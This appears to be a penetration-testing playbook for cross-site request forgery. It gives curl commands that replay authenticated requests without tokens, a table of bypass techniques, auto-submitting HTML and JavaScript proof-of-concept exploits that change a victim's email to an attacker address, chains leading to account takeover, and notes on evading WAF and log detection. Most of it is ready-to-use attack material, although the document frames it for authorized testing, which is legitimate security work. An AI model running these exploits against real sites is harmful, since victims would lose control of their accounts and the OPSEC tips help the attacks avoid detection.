CSRF Playbook
Any state-changing endpoint (POST/PUT/DELETE, or GET with side effects) that trusts ambient cookies and lacks a per-request unguessable token is forgeable. Severity scales with the action: password/email change, fund transfer, role grant → account takeover (Critical). Read-only CSRF (no state change) → Info.
1. Detection — is the endpoint actually protected?
# Capture a real authenticated request first, then replay WITHOUT the token / Origin / Referer
COOKIE='session=...; remember=...'
# (a) Strip CSRF token — does it still succeed?
curl -s -o /dev/null -w "no-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
--data "email=attacker@evil.com"
# (b) Send a clearly invalid token — is it validated?
curl -s -o /dev/null -w "junk-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
--data "csrf=AAAAAAAA&email=attacker@evil.com"
# (c) Swap another user's token in (token-not-bound-to-session)
curl -s -o /dev/null -w "other-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" --data "csrf=<TOKEN_FROM_ANOTHER_ACCOUNT>&email=attacker@evil.com"
# (d) Origin / Referer header validation
curl -s -o /dev/null -w "no-origin=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
-H "Cookie: $COOKIE" -H "Origin: https://evil.com" --data "csrf=<TOKEN>&email=attacker@evil.com"
# (e) Method override (POST → GET, or X-HTTP-Method-Override)
curl -s -o /dev/null -w "method-override=%{http_code}\n" \
"https://<TARGET>/account/email?email=attacker@evil.com" -H "Cookie: $COOKIE"
HTTP 200/302 on (a)-(e) = protection missing or trivially bypassable.
2. Bypass / misconfig matrix
| Class | Server flaw | Bypass |
|---|---|---|
| Token absent | no token at all | direct cross-origin form POST |
| Token not validated | header sent but never checked | send empty / random token |
| Token not bound to session | token from another account works | mint a token in attacker account, use against victim |
| Predictable token | sequential / timestamp / md5(userid) | precompute |
| Token in URL | leaks via Referer / logs / shoulder | steal then replay |
| Method-override | _method=POST, X-HTTP-Method-Override: POST |
turn protected POST into a GET CSRF |
| JSON CSRF | accepts Content-Type: application/json from forms |
submit form with enctype=text/plain + crafted body, or use fetch |
| Content-type bypass | only validates token when CT=application/x-www-form-urlencoded |
switch to text/plain or multipart/form-data |
| SameSite=Lax gap | top-level GET still sends cookie | GET-based state change, or <form method=POST> triggered by user click |
| SameSite=None | no protection at all | classic cross-site form |
| Missing on subset | only /admin/* protected |
unprotected sister endpoint (/api/v1/email) |
| Login CSRF | login endpoint has no token | force victim into attacker's account → captures victim activity |
| Logout CSRF | logout has no token | denial-of-service / phishing reset |
| Double-submit cookie flaw | cookie not __Host- prefixed / set from any subdomain |
XSS on subdomain plants the cookie + matching body value |
| Referer-only check | header strippable | <meta name="referrer" content="no-referrer"> on attacker page |
3. Exploit PoC
3.1 Classic form CSRF (auto-submit)
<!-- host on attacker origin; victim is logged into <TARGET> -->
<form id="x" action="https://<TARGET>/account/email" method="POST">
<input name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('x').submit();</script>
3.2 JSON CSRF via text/plain
<form action="https://<TARGET>/api/account" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>
3.3 CSRF via XSS (defeats double-submit / SameSite)
// runs as same-origin via XSS on <TARGET>
fetch('/account/csrf-token').then(r => r.text()).then(t => {
fetch('/account/email', {
method: 'POST', credentials: 'include',
headers: {'Content-Type':'application/x-www-form-urlencoded','X-CSRF-Token': t},
body: 'email=attacker@evil.com'
});
});
4. Chains
- CSRF → ATO: change email → password reset → full takeover.
- Login CSRF → activity capture: victim posts data into attacker's account.
- CSRF → privilege grant: forge
role=adminmass-assignment POST. - Subdomain XSS → double-submit bypass: write the CSRF cookie from a sibling, then forge.
5. Tools
- Burp Suite — Engagement Tools → Generate CSRF PoC, CSRF Scanner extension
- XSRFProbe — automated CSRF audit (
xsrfprobe -u https://<TARGET>) - Bolt — context-aware CSRF scanner
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|---|---|
Many POST from foreign Origin |
WAF Origin/Referer rule | Use blank/null Referer to test, throttle |
| Repeated token mutation on one session | App-side anomaly | Toggle one variable per request |
| Auto-submit form referrer from attacker host | Access-log correlation | Host PoC on in-scope collector during authorized tests |
Decision Gate: CSRF confirmed → exploitation
- State-changing action succeeds without / with junk token
- Origin/Referer not strictly validated (or strippable)
- Cookie reaches the endpoint cross-site (SameSite ≠ Strict, or top-level nav)
- PoC achieves a security-relevant change (email, password, role, funds)
If all checked, escalate per
finding-protocol; otherwise downgrade.